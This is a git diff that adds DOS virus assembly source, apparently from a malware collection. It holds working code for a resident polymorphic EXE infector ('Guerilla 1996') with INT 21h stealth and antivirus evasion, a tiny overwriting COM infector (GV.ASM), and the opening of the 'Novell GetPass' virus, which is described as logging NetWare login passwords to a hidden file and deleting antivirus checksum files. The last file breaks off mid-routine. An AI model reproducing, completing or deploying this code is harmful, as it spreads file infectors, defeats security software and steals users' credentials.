call encrypt_decrypt ; + +; -------------------------------------------------------------------------- +; ENCRYPTION STARTS HERE +;--------------------------------------------------------------------------- + +outit: + push ds + + + clc ; + call encrypt_decrypt2 ; + + +testit: + + mov ah, 30h ; Dos-Version ? + int 21h ; + cmp al, 5 ; < 5.0? + jb done ; then no memory launch + + push cs + pop ds + lea dx, [bp+rep_input] ; + mov ah, 09h ; + int 21h ; + cmp bx, 3135h ; Already resident? + je done ; then no memory launch + + +vectorint: + sub ax, ax + mov ds, ax + + push ds:[21h*04h] ; Offset of INT 21h + push ds:[21h*04h] ; Offset of INT 21h + push ds:[21h*04h+02h] ; Segment of INT 21h + push ds:[21h*04h+02h] ; Segment of INT 21h + +storeints: + pop cs:[bp+int21seg] ; Segment of INT 21h + pop cs:[bp+int21s] ; Segment of INT 21h + pop cs:[bp+int21off] ; Offset of INT 21h + pop cs:[bp+int21o] ; Offset of INT 21h + + +findavmem: + xor di, di + call checkresav ; No memory launch if AV resident + je done ; + + mov ax, es + dec ax + push ax ; DS = segment of programs MCB + pop ds + + inc di + mov al, byte ptr ds:[di-1] + cmp al, 'N' + jl done + mov bx, word ptr ds:[di+02h] + sub bx, (endheap-startvirus+0fh)/16+1 + jc done ; no memory launch if not enuf mem + mov ax, word ptr ds:[di+11h] + sub ax, (endheap-startvirus+0fh)/16+1 + mov word ptr ds:[di+02h], bx + mov word ptr ds:[di+11h], ax + mov es, ax + + + sub ax, ax + mov ds, ax + + cli ; point to new interrupt location + mov word ptr ds:[21h*04h], offset (virusint21-startvirus) + mov word ptr ds:[21h*04h+02h], es + sti + + xor di, di + push cs + pop ds + cld + mov cx, endheap-startvirus ; + lea si, [bp+startvirus] ; + rep movsb ; Launch virus into memory + + done: + pop ds ; DS -> PSP + push ds ; + pop es ; ES -> PSP + + mov ax, es ; AX = PSP segment + add ax, 10h ; Adjust for PSP + + add word ptr cs:[bp+longjump+2], ax + db 81h, 0c0h ; add ax, XXXXh +origss dw 0 + + cli + db 0bch ; mov sp, XXXXh +origsp dw 0 + mov ss, ax + sti + + sub ax, ax + sub bx, bx + sub cx, cx + sub dx, dx + sub si, si + sub di, di + sub bp, bp + + db 0eah + ;oooo:ssss ; jmp ssss:oooo + longjump dd 0fff00000h ; Original CS:IP + +; -------------------------------------------------------------------------- +; int 21h handler +; -------------------------------------------------------------------------- +virusint21: + push si + pushf + xor si, si +loopme: cmp ah, byte ptr cs:[lookup+si] + jne more + popf + jmp word ptr cs:[lookup+si+1] + +more: add si, 3 + cmp si, 3*numberconditions + jne loopme + popf + pop si + jmp go_int + +lookup db 4bh + dw offset checkstealth + db 4ch + dw offset checkstealth + db 09h + dw offset repservice + db 11h + dw offset dirstealth + db 12h + dw offset dirstealth + db 4eh + dw offset findstealth + db 4fh + dw offset findstealth + db 3dh + dw offset cleanvirus + db 3eh + dw offset infectfile + db 6ch + dw offset cleanvirus + db 32h + dw offset checkstealth + +checkstealth: + push ax + push bx + push di + + mov di, offset (tbscan-1) + mov bx, di + + cmp ah, 32h + je turnoff + cmp ah, 4ch + je turnon + mov si, dx +periodlp: cmp byte ptr [si], '.' + je foundperiod + cmp byte ptr [si], 0 + je leaveit + inc si + jmp periodlp +foundperiod: +scanmore: + + dec si + inc di + mov al, byte ptr cs:[di] + cmp al, byte ptr [si] + je scanmore + cmp al, ' ' + je turnoff ; found one of the bad ones + add bx, 8 + mov di, bx + cmp byte ptr cs:[di+1], 0 + jne periodlp + + turnon: mov cs:[stealthon], 1 ; enable all stealth functions + jmp short leaveit + turnoff: mov cs:[stealthon], 0 ; disable all stealth functions + + leaveit: + pop di + pop bx + pop ax + pop si + jmp go_int + +tbscan db 'NACSBT ' ; programs that stealth is +win db 'NIW ' ; disabled for +tbsetup db 'PUTESBT ' ; +pkzip db 'PIZKP ' ; +arj db 'JRA ' ; +rar db 'RAR ' ; +lha db 'AHL ' ; +adinf db 'FNIDA ' ; + db 00h + +; ---------------------------------------------------------------------- +; INT 21 ah=3eh +; ---------------------------------------------------------------------- + +infectfile: + + push ax + push bx + push cx + push dx + push di + push es + push ds + pushf + push cs + pop ds + + cmp bl, 5 ; is file handle<5? + jb findquit ; then quit + + call checkdrive ; floppy? + jb findquit ; then quit + + cmp cs:[stealthon], 0 ; is stealth off? + jz findquit ; then quit + + call sft ; get sft + + + mov sftes, es ; store ES for later + mov sftdi, di ; store DI for later + + + cmp word ptr es:[di+28h],'XE' ; check .EXE file extension + jne findquit ; + cmp byte ptr es:[di+2Ah],'E' ; + jne findquit ; + + call checkmarker ; check marker #2 + jz findquit ; + + call movepointertotop ; move sft pointer to TOF + + lea dx, [header] ; read header + call readheader ; + jc findquit ; quit if cant read header + + cmp word ptr [si+18h], 40h ; windows file? + je findquit ; then quit + + mov ah, byte ptr [si+0h] ; check for 'M' in header + xor ah, 'M' ; + jne findquit ; + + mov ax, word ptr [si+12h] ; check marker #1 + ror ax, 1 ; + sub ax, 23 ; + cmp ax, word ptr [si+0Eh] ; SS + jz findquit ; quit if already infected + + + mov ax, 4202h ; get absolute file length + xor cx, cx ; + cwd ; + call simint21h ; get file length in DX:AX + + mov sizems, dx ; save size in dx for later + mov sizels, ax ; save size in ax for later + + or dx, dx ; check filesize + jz checklow1 ; + cmp dx, 5 ; too big? + ja findquit ; then quit + jmp checkheader ; else continue +checklow1: + cmp ax, 5000 ; too small? + jb findquit ; then quit + + +checkheader: + mov ax, word ptr [si+04h] ; convert size in header + mov cx, 512 ; from pages to bytes + mul cx ; + mov cx, word ptr [si+02h] ; + or cx, cx ; + jz comparesize ; + sub ax, 512 ; + sbb dx, 0 ; + add ax, cx ; + adc dx, 0 ; +comparesize: + cmp ax, sizels ; <> means overlays or bad header + jne findquit ; + cmp dx, sizems ; <> means overlays or bad header + jne findquit ; + + mov dx,word ptr es:[di+20h] ; check filename against + lea si, [avtable2] ; list of programs not to infect + mov cx, numberav ; number in list +rock: + lodsw ; + cmp ax, dx ; + je findquit ; quit if found a bad one + loop rock ; + +; file is definitely ready to infect now + + push ds + pop es + lea si, [header+14h] ; save original CS:IP + lea di, [longjump] ; + movsw ; DS:SI -> ES:DI + movsw ; + + sub si, 0ah ; save original SS:SP + lea di, [origss] ; + movsw ; DS:SI -> ES:DI + inc di ; + inc di ; + movsw ; + + sub si, 12h ; top of header + + push si ; copy clean copy of file header + lea di, [origheader] ; + cld ; + mov cx, 18h ; + repz movsb ; + pop si ; + + + mov ax,5700h ; get file time/date + call simint21h ; + mov time, cx ; save time for later + mov date, dx ; save date for later + + call encryptheader ; encrypt original header copy + + mov es, sftes ; SFT in ES:DI + mov di, sftdi ; + + mov ax, sizels ; LSW of file size in AX + mov dx, sizems ; MSW or file size in DX + + mov word ptr es:[di+15h],ax ; point SFT to EOF + mov word ptr es:[di+17h],dx ; + + + mov cx, 16 + div cx + + + + inc si ; header manipulation start here + sub ax, word ptr [si+7] ; subtract header size + sbb dx, 0 ; 32-bit + + + mov word ptr [si+15h], ax ; NEW CS + mov word ptr [si+13h], dx ; NEW IP + mov delta, dx + inc ax + mov word ptr [si+0Dh], ax ; NEW SS=CS+1 + + add ax, 23 + rol ax, 1 + mov word ptr [si+11h], ax ; infection marker #1 + mov polykey, ax ; static polymorphic key + + get_key: + and al, 0Fh ; make al < or = 0Fh + or al, al ; + jnz goodkey ; if got 0 + inc al ; then make 1 +goodkey: mov byte ptr [crypt], al ; for encrypt_decrypt + mov byte ptr [crypt2], al ; for encrypt_decrypt2 + mov ch, 16 ; + sub ch, al + mov byte ptr [rotdecrypt],ch ; for encrypt_decrypt + test al, 1 ; random use ror or rol for crypt + jne use_rorah ; + +use_rolal: mov byte ptr [scratch],0c0h ; rol al,cl + mov byte ptr [alorah1],05h + mov byte ptr [alorah2],05h + jmp short here + +use_rorah: mov byte ptr [scratch],0cch ; ror ah,cl + mov byte ptr [alorah1],25h + mov byte ptr [alorah2],25h + + +here: + + + + mov word ptr [si+0Fh], 0 ; NEW SP + add word ptr [si+09h],(heap-startvirus)/16 + 1 + + push si + push di + push bx + + + mov bx, 3 ; Polymorphics + lea si, [cctable] ; + lea di, [clearcarry2] ; + call polymorph ; + lea di, [clearcarry3] ; + call polymorph ; + lea si, [movax305table] ; + lea di, [movax305] ; + call polymorph ; + lea si, [incditable] ; + lea di, [incdi] ; + call polymorph ; + lea si, [subbxbxtable] ; + lea di, [subbxbx] ; + call polymorph ; + lea si, [movsibptable] ; + lea di, [movsibp] ; + call polymorph ; + lea si, [oredxedxtable] ; + lea di, [oredxedx] ; + call polymorph ; + lea si, [movdi14table] ; + lea di, [movdi14] ; + call polymorph ; + lea si, [adddisitable] ; + lea di, [adddisi] ; + call polymorph ; + + mov bx, 2 ; Polymorphics + lea si, [jumpctable] ; + lea di, [jumpc] ; + call polymorph ; + lea si, [jumpztable] ; + lea di, [jumpz] ; + call polymorph ; + lea si, [decedxtable] ; + lea di, [decedx] ; + call polymorph ; + + + pop bx + pop di + pop si + + call getmins + add cx, offset (heap-startvirus) + mov ah, 40h + + push si + push di + push es + call messup ; Write virus + pop es + pop di + pop si + + mov ax, sizels + mov dx, sizems + + add ax, offset heap ; file size + virus size + adc dx, 0 + + mov cx, 512 + div cx + or dx, dx + jz noremainder + inc ax +noremainder: mov word ptr [si+1], dx + mov word ptr [si+3], ax + + + call movepointertotop + + lea dx, [header] ; write from buffer + call writeheader + +cont: mov ax, 5701h + mov cx, time + and cx, 0FFE0h + or cx, 000101b ; infection marker #2 + mov dx, date + call simint21h + + +findquit: + popf + pop ds + pop es + pop di + pop dx + pop cx + pop bx + pop ax + pop si + jmp go_int + + +repservice: + pop si + push di + mov di, dx + cmp byte ptr ds:[di], '$' + pop di + jne go_int + mov bx, 3135h + iret + +; ------------------------------------------------------------------------- +; INT 21 ah=4eh, 4fh stealth +; ------------------------------------------------------------------------- +findstealth: + call simint21h + jc endfs + + cmp cs:[stealthon], 0 + jz endfs + + push es + push cx + push bx + push ax + push di + + mov ah, 2fh ; current dta + call simint21h ; ES:BX + + xchg di, bx + + mov si, di + add di, 16h + add si, 1ah + + call searchstcommon + + pop di + pop ax + pop bx + pop cx + pop es + clc ; no error +endfs: + pop si + retf 2 + + + +; ------------------------------------------------------------------------- +; INT 21 ah=11h, 12h stealth +; ------------------------------------------------------------------------- +dirstealth: + + call simint21h ; call the interrupt + or al, al + jne endds + + cmp cs:[stealthon], 0 ; is stealthoff? + jz endds ; then quit + + push es + push cx + push bx + push ax + push di + + mov ah, 2fh + call simint21h + + xchg di, bx + mov bl, byte ptr es:[di] ; extended FCB + xor bl, 0ffh + jne notextended + + add di, 7h ; fix for extended + +notextended: + mov si, di + add di, 17h + add si, 1dh + call searchstcommon + + pop di + pop ax + pop bx + pop cx + pop es + +endds: + pop si + iret + +;---------------------------------------------------------------------------- +; SEARCH STEALTH COMMON ROUTINE BETWEEN INT 11/12, 4E/4F +;---------------------------------------------------------------------------- +searchstcommon: +;Entry: di=searchtimeaddr, si=searchsizeaddr + + mov ax, word ptr es:[di] ; + mov bx, ax + and ax, 011111b + xor ax, 000101b + jne commonquit ; is marker #2 set? + mov cl, 5 + shr bx, cl + and bx, 0111111b + + + cmp word ptr es:[si+2], 0 ; file big enough to stealth? + jnz st1 ; + cmp word ptr es:[si], 5000 ; file big enough to stealth? + jb commonquit ; it is not + +st1: + add bx, offset (heap-startvirus) + sub word ptr es:[si], bx ; subtract the file length + sbb word ptr es:[si+2], 0 ; 32-bit +commonquit: + ret + + +; ------------------------------------------------------------------------- +; Cleanvirus on OPEN 3dh +; ------------------------------------------------------------------------- +cleanvirus: + pop si + + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + + + pushf + + + cmp ah, 6ch ; is it int 21h ah=6ch? + jne skip6c + mov dx, si ; DS:DX now filename + + +skip6c: + call checkdrive ; is it floppy? + jb stealthexit ; then quit + + cmp cs:[stealthon], 0 ; is stealthoff? + jz stealthexit ; then quit + + mov ax, 3d00h ; Open read only + call simint21h + jc stealthexit ; quit if cant open + + + + goodopen: xchg bx, ax + + + push cs + pop ds + + call sft + cmp word ptr es:[di+28h], 'XE' + jne stealthquit + + call checkmarker ; is marker #2 set? + jnz stealthquit ; else quit + + mov ax,word ptr es:[di+11h] ; file size + mov dx,word ptr es:[di+13h] + + mov sizels, ax + mov sizems, dx + + call getmins + add cx, 1ch + sub ax, cx ; move to where original header is + sbb dx, 0 + mov word ptr es:[di+15h],ax ; file pointer + mov word ptr es:[di+17h],dx + + lea dx, [origheader] ; read origheader + call readheader + jc stealthquit + + call decryptheader + + cmp byte ptr [si], 'M' ; was original header found and + jne stealthquit ; reconstructed correctly? + + call movepointertotop ; TOF via SFT + + call writeheader + jc stealthquit ; quit if cant disinfect + + + + mov ax, sizels + mov dx, sizems + + call getmins + add cx, offset heap + sub ax, cx + sbb dx, 0 + mov word ptr es:[di+15h],ax ; file pointer + mov word ptr es:[di+17h],dx + + mov ah, 40h ; erase virus from original file + xor cx, cx + call simint21h + + mov ax, 5701h + mov cx, time + mov dx, date + call simint21h ; restore original time & date + + +stealthquit: mov ah, 3eh + call simint21h + +stealthexit: + popf + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + + + + go_int: + db 0eah ; jmp ssss:oooo + int21o dw ? + int21s dw ? + + +; ----------------------------------------------------------------------- +; Scan MCB's for resident AV s/w +; ----------------------------------------------------------------------- +; entry DI=0 +; return ZF=0 if none found +; return ZF=1 if one found + +checkresav: + push es + push ds + + mov ah, 52h ; undocumented + call simint21h ; -> ES:BX + push es:[bx-2] + pop ds + +checkanotherMCB: + cmp byte ptr ds:[di], 'M' + jz searchMCB + cmp byte ptr ds:[di], 'Z' + jnz av_isnt_resident +searchMCB: + lea si, [bp+avtable1] ; addr[avtable1] + mov cx, numberavmem ; number of AV checks + +avloop: mov ax, word ptr ds:[di+8] + cmp ax, word ptr cs:[si] ; + jnz chkmav + mov al, byte ptr cs:[si+2] + cmp al, byte ptr ds:[di+10] + jz av_is_resident + cmp al, '*' ; is wild card? + jz av_is_resident ; then found one + +chkmav: add si, 3 + loop avloop ; loop numberavmem times + + mov ax, ds + add ax, ds:[di+3] ; goto next MCB + inc ax + mov ds, ax + jmp short checkanotherMCB + +av_isnt_resident: +av_is_resident: + pop ds + pop es + ret + + +; ----------------------------------------------------------------------- +; Get the sft +; ----------------------------------------------------------------------- +; entry BX=file handle +; return ES:DI=SFT +; + sft: + + push bx + + mov ax, 1220h + int 2fh + + + xor bx, bx + mov bl, es:[di] + mov ax, 1216h + int 2fh + mov word ptr es:[di+2], 2 + + pop bx + + ret + +;-------------------------------------------------------------------------- +; Check Drive letter +;-------------------------------------------------------------------------- +; return CF=0 = not floppy +; return CF=1 = floppy +checkdrive: + mov ah, 19h + call simint21h + cmp al, 2 + ret + +;-------------------------------------------------------------------------- +; Check marker #2 +;-------------------------------------------------------------------------- +checkmarker: +; return ZF=1 = marker #2 set +; return ZF=0 = marker #2 not set + mov ax, word ptr es:[di+0dh] + and ax, 011111b + xor ax, 000101b + ret + +;-------------------------------------------------------------------------- +; Read header (1ch bytes) +;-------------------------------------------------------------------------- +; entry dx = addr[header] +readheader: + mov ah, 3fh + mov cx, 1ch + call simint21h + mov si, dx + ret + +;-------------------------------------------------------------------------- +; Write header (18h bytes) +;-------------------------------------------------------------------------- +; entry dx = addr[header] +writeheader: + mov ah, 40h + mov cx, 18h + call simint21h + ret + +;-------------------------------------------------------------------------- +; Get files minutes value +;-------------------------------------------------------------------------- +; return cx=minutes +getmins: + mov cx, word ptr es:[di+0dh] + shr cx, 1 + shr cx, 1 + shr cx, 1 + shr cx, 1 + shr cx, 1 + and cx, 0111111b + ret + +;-------------------------------------------------------------------------- +; Encrypt/Decrypt header (18h bytes) +;-------------------------------------------------------------------------- +decryptheader: +encryptheader: + push di + mov ah, byte ptr [time] + lea di, [origheader] + mov cx, 18h +h_loop: mov al, [di] + xor al, ah + mov [di], al + inc di + loop h_loop + pop di + ret + + +;-------------------------------------------------------------------------- +; Move SFT file pointer to top of file +;-------------------------------------------------------------------------- +movepointertotop: + mov word ptr es:[di+15h], 0 + mov word ptr es:[di+17h], 0 + ret + +;-------------------------------------------------------------------------- +; Polymorphic routine +;-------------------------------------------------------------------------- +; entry di = addr[destination] +; si = addr[table of opcodes to use] +; bx = # of possible instruction variations (max 3) +polymorph: + push es + push ds + push ax + push cx + push bx + push si + push di + + push cs + pop ds + push cs + pop es + + mov ax, polykey ; + xor ax, di ; gives each file a unique + ; polymorphic virus pattern that + ; does not change + trymore: + + shr ax, 1 + mov cx, ax + and cx, 3 + cmp cx, bx ; bx = # of possible instruction + jge trymore ; variations + + mov ax, cx + mov cx, 4 ; 4 opcode length + mul cl + add si, ax + mov cx, 5 ; 4 opcode length + jmp jumploop + db 0eah + genloop: mov al, cs:[si] + mov cs:[di], al + inc di + inc si + jumploop: loop genloop + + pop di + pop si + pop bx + pop cx + pop ax + pop ds + pop es + ret + +cctable db 0f8h,0f8h,0f8h,90h,0bh,0c0h,90h,90h,83h,0c8h,00h,90h +movsibptable db 55h,5eh,0f8h,0f8h,8bh,0f5h,0bh,0c0h,8bh,0f5h,0bh,0d2h +jumpctable db 90h,90h,72h,02h,73h,02h,0ebh,02h +adddisitable db 90h,03h,0feh,90h,0f8h,13h,0feh,0f8h,90h,0f8h,03h,0feh +incditable db 47h,4fh,47h,90h,4fh,47h,90h,47h,83h,0c7h,01h,90h +decedxtable db 90h,90h,66h,4ah,66h,83h,0eah,01h +oredxedxtable db 66h,0bh,0d2h,90h,66h,23h,0d2h,90h,66h,83h,0fah,00h +subbxbxtable db 2bh,0dbh,2bh,0dbh,0bbh,00h,00h,90h,90h,83h,0e3h,00h +movax305table db 0b4h,3h,0b0h,05h,0b9h,05h,03h,91h,0b0h,05h,0b4h,3h +jumpztable db 74h,02h,0ebh,0e8h,75h,0eah,90h,90h +movdi14table db 0b8h,14h,00h,97h,0bfh,14h,00h,90h,90h,0bfh,14h,00h + db 25h,90h + +virusname db ' Guerilla 1996 PH ' +rep_input db '$' +stealthon db 1 +numberconditions equ 11 + +numberavmem equ 3 +avtable1 db 'TB*' ; TB* + db 'NAV' ; NA* NAVSTR + db 'NEM' ; NE* NEMESIS + + +numberav equ 13 +avtable2: dw 'BT' ; TB* TBSCAN + dw 'IV' ; VI* VIRSTOP + dw 'VA' ; AV* AVP + dw 'AN' ; NA* NAVSTR + dw 'EN' ; NE* NEMESIS + dw 'SV' ; VS* VSHIELD OR VSAFE + dw 'IF' ; FI* FINDVIRU + dw '-F' ; F-* F-PROT + dw 'MI' ; IM* IM + dw 'VF' ; FV* FV386 + dw 'CS' ; SC* SCAN + dw 'BQ' ; QB* QBASIC + dw 'VI' ; IV* IV + +;------------------------------------------------------------------------ +; encrypt/decrypt subroutine #2 +;------------------------------------------------------------------------ +encrypt_decrypt2: + + db 0b0h ; mov al, XXh +crypt2: db 0h + jc encryptit2 +decryptit2: + mov byte ptr cs:[si+addorsub], 02ah ; sub + jmp short findaddr +encryptit2: + mov byte ptr cs:[si+addorsub], 02h ; add +findaddr: mov di, offset testit + add di, si + mov cx, offset (encrypt_decrypt2-testit) + + jmp patch2 + db 0eah +loop2: + mov ah, cs:[di] +addorsub: db 02h ; add ah,al or sub ah,al +scratch2: db 0e0h + mov cs:[di], ah + inc di +patch2: loop loop2 + ret + + + + messup: + push ax + push cx + + xor si, si + + stc + call encrypt_decrypt2 + + stc + call encrypt_decrypt + +; ----------------------------------------------------------------------- +; ENCRYPTION STOPS HERE +; ----------------------------------------------------------------------- +outitend: + + pop cx + pop ax + call simint21h + +clearcarry2: nop + nop + nop + nop + call encrypt_decrypt + +clearcarry3: nop + nop + nop + nop + call encrypt_decrypt2 + + ret + + +;------------------------------------------------------------------------ +; encrypt/decrypt subroutine #1 +;------------------------------------------------------------------------ +.386 +encrypt_decrypt: + + db 0b1h ; mov cl, XXh +crypt: db 0h + +jumpc: db 90h + db 90h + db 90h ; jc encryptit + db 90h + + db 0b1h ; mov cl, XXh +rotdecrypt: db 0h + +encryptit: +movdi14: + mov di, 14h + nop + + +adddisi: add di, si + nop + nop + + + mov edx, offset (outitend-outit+1) + jmp short patch1 + db 0eah +loop1: + db 2eh + db 8ah +alorah1: db 25h + + + + db 0d2h ; ror ah,cl +scratch: db 0cch + + db 2eh + db 88h +alorah2: db 25h + + + +incdi: inc di + nop + nop + nop + +patch1: +decedx: dec edx + nop + nop + +oredxedx: cmp edx, 0 + + +jumpz: + db 75h ; jnz loop1 + db 0eah ; + db 90h + db 90h +cryptret: + ret + +;-------------------------------------------------------------------------- +; Original int 21h routine +;-------------------------------------------------------------------------- + +simint21h: ; Simulate interrupt 21h + pushf ; call ssss:oooo +callfar db 9ah ; +int21off dw ? ; Offset of interrupt 21h +int21seg dw ? ; Segment of interrupt 21h + ret ; + + + +origheader db 18h dup (?) ; read buffer +time dw 0 +date dw 0 + +heap: +sftes dw 0 +sftdi dw 0 +sizems dw 0 +sizels dw 0 +polykey dw 0 +header db 1ch dup (?) ; read buffer +endheap: ; end + +seg_a ends +end startvirus diff --git a/g/GV.ASM b/g/GV.ASM new file mode 100755 index 0000000..710f5c2 --- /dev/null +++ b/g/GV.ASM @@ -0,0 +1,21 @@ + xor cx,cx + mov dx,offset File + mov ah,4eh + int 21h +z: + mov dx,9eh + mov ax,3d02h + int 21h + mov bx,ax + mov dx,100h + mov cl,27h + mov ah,40h + int 21h + mov ah,3eh + int 21h + mov ah,4fh + int 21h + jnc z + ret +file db '*.com',0 +e: \ No newline at end of file diff --git a/g/Getpass!.asm b/g/Getpass!.asm new file mode 100755 index 0000000..c1b7367 --- /dev/null +++ b/g/Getpass!.asm @@ -0,0 +1,785 @@ +;============================================================================= +; Please feel free to distribute, but do NOT change and say it's your's! +;============================================================================= +; You are now looking at the source code of the Novell GetPass virus! +; Stop doing so! But if you don't well, ok! The GetPass virus is fairly +; unique in some parts of it's behaviour. It infects *.COM files using +; an infection interrupt routine.(INT D0) It first renames the files +; it infects to a *.TXT file to avoid heuristic alarms of some rule +; based TSR's and then restores the original extention. Some resident +; anti-viral products will be completely disabled in memory and their +; CRC check files will be deleted. The GetPass routine will become +; resident if the virus detects that NETX (Novell NetWare) is loaded +; in memory, hooking INT 16 (keyboard) and INT 21 in memory. +; The GetPass routine activates when LOGIN is executed. The users login +; name and his/her password will be captured and written to a file wich +; will be created in C:\DOS.(the file is MSD.INI) If the file becomes +; approximatly 8Kb, the virus deletes the file. This to avoid a very large +; file in the DOS directory. A new file will be created and the logging +; will continue. Every first day of the month, when an infected program +; is executed the file containing the names/passwords is printed if there +; is a printer available. The virus does not infect COMMAND.COM. +; +; Greetings ,ThE wEiRd GeNiUs +; +; PS: Check your MSD.INI file once in a while! +;----------------------------------------------------------------------------- +; Assemble with TASM 2.0 or higher, Link with TLINK /T +;----------------------------------------------------------------------------- + CODE SEGMENT + ASSUME CS:CODE,DS:CODE,ES:CODE,SS:CODE + + CRYPTLEN EQU CHKTIME-CSTART-1;Length to en/decrypt. + VIRLEN EQU BUFFER-VSTART ;Length of virus. + MINLEN EQU 1000 ;Min file length to infect. + MAXLEN EQU 0F230h ;Max " " " " + CR EQU 0Dh ;Return. + LF EQU 0Ah ;Line feed. + TAB EQU 09h ;Tab. + INTRO EQU LBIT-INAME ; + TSRLEN EQU LASTBYT-TSR ;Length of activation TSR. + TSR2LEN EQU NOTENC-INFECT+1;Length of infection Interrupt. + LENGTH EQU VAL_1-CSTART ;Length of encrypted code. + KBUFF EQU KEYBUFF-TSR ;\ + KPTR EQU KEYPTR-TSR ; + FN EQU FNAME-TSR ; + LOGINL EQU LOGIN-TSR ; + KFLAG EQU KBFLAG-TSR ; Offsets in activation TSR. + INTOF EQU INT21-TSR ; + INT16L EQU INT16-TSR ; + OLD16L EQU NINT16-TSR ; + NINTOF EQU NINT21-TSR ; + COUCR EQU CCOUNT-TSR ; + PARLEN EQU PARAM-TSR ;/ + + ORG 0100h + + .RADIX 16 +;----------------------------------------------------------------------------- +; Infected dummy program. (Only in 1st run) +;----------------------------------------------------------------------------- +START: JMP VSTART ;Jump to virus code. +;----------------------------------------------------------------------------- +; Begin of the virus code. +;----------------------------------------------------------------------------- +VSTART: CALL CHKDOS ;-Confuse anti-viral progs. + CALL CHKTIME ;/ +BEGIN: CALL ENCRYP ;Call decryption routine. +;----------------------------------------------------------------------------- +; From here the code will be encrypted. +;----------------------------------------------------------------------------- +CSTART: CALL BEGIN1 ;Same old trick. + CALL RESBEG ;Restore begin. + CALL CHKDRV ;Check drive & DOS version. + CALL SAVEDIR ;Save startup directory. + PUSH ES ;In the next sessions ES is modified. + CALL INT24 ;NoErrorAllowed. + CALL VSAFE ;Vsafe resident? + CALL ACTIVE ;Install password routine. + POP ES ;Restore extra segment. + CALL ENKEY ;Create new CRYPTKEY. + CALL INSTSR2 ;Place infection routine in memory. + CALL DTA ;Store old and give up new DTA addres. + CALL FIND1 ;Determine how many path's are present. + CALL RANDOM ;Random value for directory search. + CALL FIND2 ;Find suitable directory. + CALL CHDRIVE ;If it is on another drive. + CALL GODIR ;Go to the selected directory. +F_FIRST:MOV AH,4Eh ;Search for 1st *.COM + MOV CX,110b ;Look for read only, system & hidden. + LEA DX,[BP+OFFSET SPEC] ;Offset file specification.(*.COM) + INT 21h ;Call DOS. + JNC OPENF ;Exit if no file found. + CALL EXIT1 ;No files found, quit. +OPENF: CALL CHKCOM ;-Is it COMMAND.COM? + CMP CX,00h ;/ + JE LETSGO ;Yes, do NOT infect. + CALL CHKINF ;Already infected? + CALL ATTRIB ;Ask & clear file attributes. + CALL RENAME ;Rename to *.TXT file. + MOV AH,4Eh ;Search the name.TXT file. + MOV CX,110b ;Read only, system & hidden. + LEA DX,[BP+OFFSET NEWNAM] ;Offset file specification.(name.TXT) + INT 21h ;Call DOS. + MOV AX,3D02h ;Open file with read and write access. + LEA DX,[BP+OFFSET NEWNAM] ;Offset file specification.(name.TXT) + INT 21h ;Call DOS. + MOV BYTE PTR[BP+OFFSET HANDLE],AL;Save file handle. + CALL STIME ;Save file date & time. +CHECK: MOV AH,3Fh ;Read begin of victim. + MOV CX,3 ;Read Begin. + LEA DX,[BP+OFFSET ORIGNL] ;Into offset original instructions. + INT 21h ;Call DOS. + JC CLOSE ;On error, quit. +REPLACE:CALL BPOINT ;Move file pointer to end of victim. + SUB AX,3 ;Calculate new jump. + MOV WORD PTR[BP+NEWJMP+1],AX;Store new jump value. + MOV AX,4200h ;Move file pointer to begin. + XOR CX,CX ;Zero high nybble. + XOR DX,DX ;Zero low nybble. + INT 21h ;Call DOS. + MOV AH,40h ;Write to file, + MOV CX,3 ;3 Bytes. + LEA DX,[BP+OFFSET NEWJMP] ;Offset new jump value. + INT 21h ;Call DOS. + CALL BPOINT ;Move file pointer to end. + JMP INFEC ;Create encryption key. +LETSGO: MOV AH,4Fh ;Find next. + INT 21h ;Call DOS. + JC EXIT ;On error, quit. + JMP OPENF ;Open new victim. +INFEC: MOV DL,[BP+OFFSET VAL_1] ;Encryption value into DL. + INT 0D0h ;Neat way to infect a file! +CLOSE: CALL RTIME ;Restore File time & date. + MOV AH,3Eh ;Close file. + INT 21h ;Call DOS. + CALL RENAME2 ;Restore back to COM file. + CALL RATTRIB ;Restore File attributes. +;----------------------------------------------------------------------------- +EXIT: CALL DELSTUF ;Delete CRC checkers. +EXIT1: MOV AH,1Ah ;Restore old DTA. + MOV DX,[BP+OFFSET OLD_DTA] ;Old DTA address. + INT 21h ;Call DOS. +EXIT2: MOV AH,0Eh ;Restore startup drive. + MOV DL,BYTE PTR[BP+OFFSET OLDRV];Old drive code. + INT 21h ;Call DOS. + MOV AH,3Bh ;Goto startup directory, + LEA DX,[BP+OFFSET BUFFER] ;that is stored here. + INT 21h ;Call DOS. +EXIT3: CALL RINT24 ;Restore original INT 24 +EXIT4: MOV AX,100h ; + PUSH AX ; + RET ;Pass control to HOST. +;----------------------------------------------------------------------------- +DUMEX: MOV DI,0100h ;This is a dummy exit, it screws up + LEA SI,[BP+DEXIT] ;TbClean. In stead of cleaning the + MOV CX,3 ;phile, it puts a program terminating + REPNZ MOVSB ;interrupt in the beginning of the + MOV AX,0100h ;victim, neat huh! + PUSH AX ; + RET ; +;----------------------------------------------------------------------------- +BETWEEN:MOV AH,3Eh ;Close the file. + INT 21h ;Call DOS + JMP LETSGO ;Find next file. +CHKINF: MOV AX,3D00h ;Open file with only read acces. + MOV DX,WORD PTR[BP+OFFSET NP];Offset filename. + INT 21h ;Call DOS. + MOV BX,AX ;File handle into BX. + MOV CX,0FFFFh ;- Move -3 into CX,DX. + MOV DX,0FFFCh ;/ + MOV AX,4202h ;Move file pointer to end-3 + INT 21h ;Call DOS. + MOV AH,3Fh ;Read file. + MOV CX,01h ;One Byte. + LEA DX,[BP+OFFSET MARK1] ;Into this address. + INT 21h ;Call DOS. + CMP BYTE PTR [BP+OFFSET MARK1],43h; Is it infected? + JE BETWEEN ;Yes, find another. + CALL BPOINT ;Go to EOF. + CMP AX,MAXLEN ;Is the file to long? + JNB BETWEEN ;Yes, find another. + CMP AX,MINLEN ;Is it to short? + JBE BETWEEN ;Yes, find another. + MOV AH,3Eh ;Close the file. + INT 21h ;Call DOS + RET ;Return to caller. +;----------------------------------------------------------------------------- +CHKDRV: CALL CHKDOS ;Check DOS version. + CMP AL,01 ; + JB DUMEX ;Screw up TbClean. + CMP AL,05h ;Is it DOS 5.0 or higher? + JNGE EXIT4 ;No, exit. + MOV AH,19h ;Get drive code. + INT 21h ;Call DOS. + MOV BYTE PTR[BP+OFFSET OLDRV],AL;Save old drive code. + RET ;Return to caller. +;----------------------------------------------------------------------------- +RESBEG: LEA SI,[BP+OFFSET ORIGNL] ;Offset original begin. + MOV DI,0100h ;Restore original 